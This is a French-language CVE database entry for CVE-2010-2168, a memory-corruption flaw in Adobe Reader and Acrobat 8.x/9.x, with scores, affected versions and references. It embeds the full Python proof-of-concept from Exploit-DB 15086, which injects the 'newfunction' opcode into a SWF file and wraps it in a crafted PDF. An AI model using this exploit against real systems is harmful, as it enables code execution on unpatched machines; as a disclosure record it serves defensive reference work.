CVE-2010-2168 : Détail

CVE-2010-2168

30.62%V3
Network
2010-06-30
16h00 +00:00
2017-09-18
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, allow attackers to execute arbitrary code via a PDF file with crafted Flash content, involving the newfunction (0x44) operator and an "invalid pointer vulnerability" that triggers memory corruption, a different vulnerability than CVE-2010-1285 and CVE-2010-2201.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 15086

Date de publication : 2010-09-22 22h00 +00:00
Auteur : Abysssec
EDB Vérifié : Yes

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-23-adobe-acrobat-and-reader-newfunction-remote-code-execution-vulnerability/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15086.zip (moaub-23-exploit.zip) ''' ''' Title : Adobe Acrobat Reader and Flash 'newfunction' Remote Code Execution Vulnerability Version : Adobe Reader 9.3.2 Analysis : http://www.abysssec.com Vendor : http://www.adobe.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2168 MOAUB Number : MOAUB-06 ''' import sys class PDF: def __init__(self): self.xrefs = [] self.eol = '\x0a' self.content = '' self.xrefs_offset = 0 def header(self): self.content += '%PDF-1.6' + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num if flag == 1: self.content += self.eol + '<< ' + data + ' >>' + self.eol else: self.content += self.eol + data + self.eol self.content += 'endobj' + self.eol def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream)) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Length %d' %len(stream) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def ref(self, ref_num): return '%d 0 R' % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += 'xref' + self.eol self.content += '0 %d' % (len(self.xrefs) + 1) self.content += self.eol self.content += '0000000000 65535 f' + self.eol for i in self.xrefs: self.content += '%010d 00000 n' % i self.content += self.eol def trailer(self): self.content += 'trailer' + self.eol self.content += '<< /Size %d' % (len(self.xrefs) + 1) self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol self.content += 'startxref' + self.eol self.content += '%d' % self.xrefs_offset self.content += self.eol self.content += '%%EOF' def generate(self): return self.content class POC: def getSWF(self): try: fdR = open('flash.swf', 'rb+') strTotal = fdR.read() str1 = strTotal[:3673] command = '\x40\xE8\xD4\xF1\xFF\x33' #newfunction str2 = strTotal[3679:] fdW= open('poc.swf', 'wb+') finalStr = str1+command+str2 fdW.write(finalStr) fdR.close() return finalStr except IOError: print '[*] Error : An IO error has occurred' def generate_pdf(): poc = POC() swfFile = 'poc.swf' pdf = PDF() pdf.header() pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1) pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1) pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1) pdf.obj_Stream(4, '','') pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1) pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1) pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1) pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1) pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1) pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',poc.getSWF() ) pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1) pdf.obj_Stream(16, '<</Length 0 >> ','') pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print 'Usage: python %s [output file name]' % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith('.pdf'): file_name = file_name + '.pdf' try: fd = open(file_name, 'wb+') fd.write(generate_pdf()) fd.close() print '[-] PDF file generated and written to %s' % file_name except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Adobe>>Acrobat >> Version 9.0

Adobe>>Acrobat >> Version 9.1

Adobe>>Acrobat >> Version 9.1.1

Adobe>>Acrobat >> Version 9.1.2

Adobe>>Acrobat >> Version 9.1.3

Adobe>>Acrobat >> Version 9.2

Adobe>>Acrobat >> Version 9.3

Adobe>>Acrobat >> Version 9.3.1

Adobe>>Acrobat >> Version 9.3.2

Apple>>Mac_os_x >> Version *

Microsoft>>Windows >> Version *

Configuraton 0

Adobe>>Acrobat_reader >> Version 9.0

Adobe>>Acrobat_reader >> Version 9.1

Adobe>>Acrobat_reader >> Version 9.1.1

Adobe>>Acrobat_reader >> Version 9.1.2

Adobe>>Acrobat_reader >> Version 9.1.3

Adobe>>Acrobat_reader >> Version 9.2

Adobe>>Acrobat_reader >> Version 9.3

Adobe>>Acrobat_reader >> Version 9.3.1

Adobe>>Acrobat_reader >> Version 9.3.2

Apple>>Mac_os_x >> Version *

Microsoft>>Windows >> Version *

Configuraton 0

Adobe>>Acrobat >> Version 8.0

Adobe>>Acrobat >> Version 8.1

Adobe>>Acrobat >> Version 8.1.1

Adobe>>Acrobat >> Version 8.1.2

Adobe>>Acrobat >> Version 8.1.3

Adobe>>Acrobat >> Version 8.1.4

Adobe>>Acrobat >> Version 8.1.5

Adobe>>Acrobat >> Version 8.1.6

Adobe>>Acrobat >> Version 8.1.7

Adobe>>Acrobat >> Version 8.2

Adobe>>Acrobat >> Version 8.2.1

Adobe>>Acrobat >> Version 8.2.2

Apple>>Mac_os_x >> Version *

Microsoft>>Windows >> Version *

Configuraton 0

Adobe>>Acrobat_reader >> Version 8.0

Adobe>>Acrobat_reader >> Version 8.1

Adobe>>Acrobat_reader >> Version 8.1.1

Adobe>>Acrobat_reader >> Version 8.1.2

Adobe>>Acrobat_reader >> Version 8.1.4

Adobe>>Acrobat_reader >> Version 8.1.5

Adobe>>Acrobat_reader >> Version 8.1.6

Adobe>>Acrobat_reader >> Version 8.1.7

Adobe>>Acrobat_reader >> Version 8.2.1

Adobe>>Acrobat_reader >> Version 8.2.2

Apple>>Mac_os_x >> Version *

Microsoft>>Windows >> Version *

Références

http://www.vupen.com/english/advisories/2010/1636
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/41236
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/archive/1/512096
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securitytracker.com/id?1024159
Tags : vdb-entry, x_refsource_SECTRACK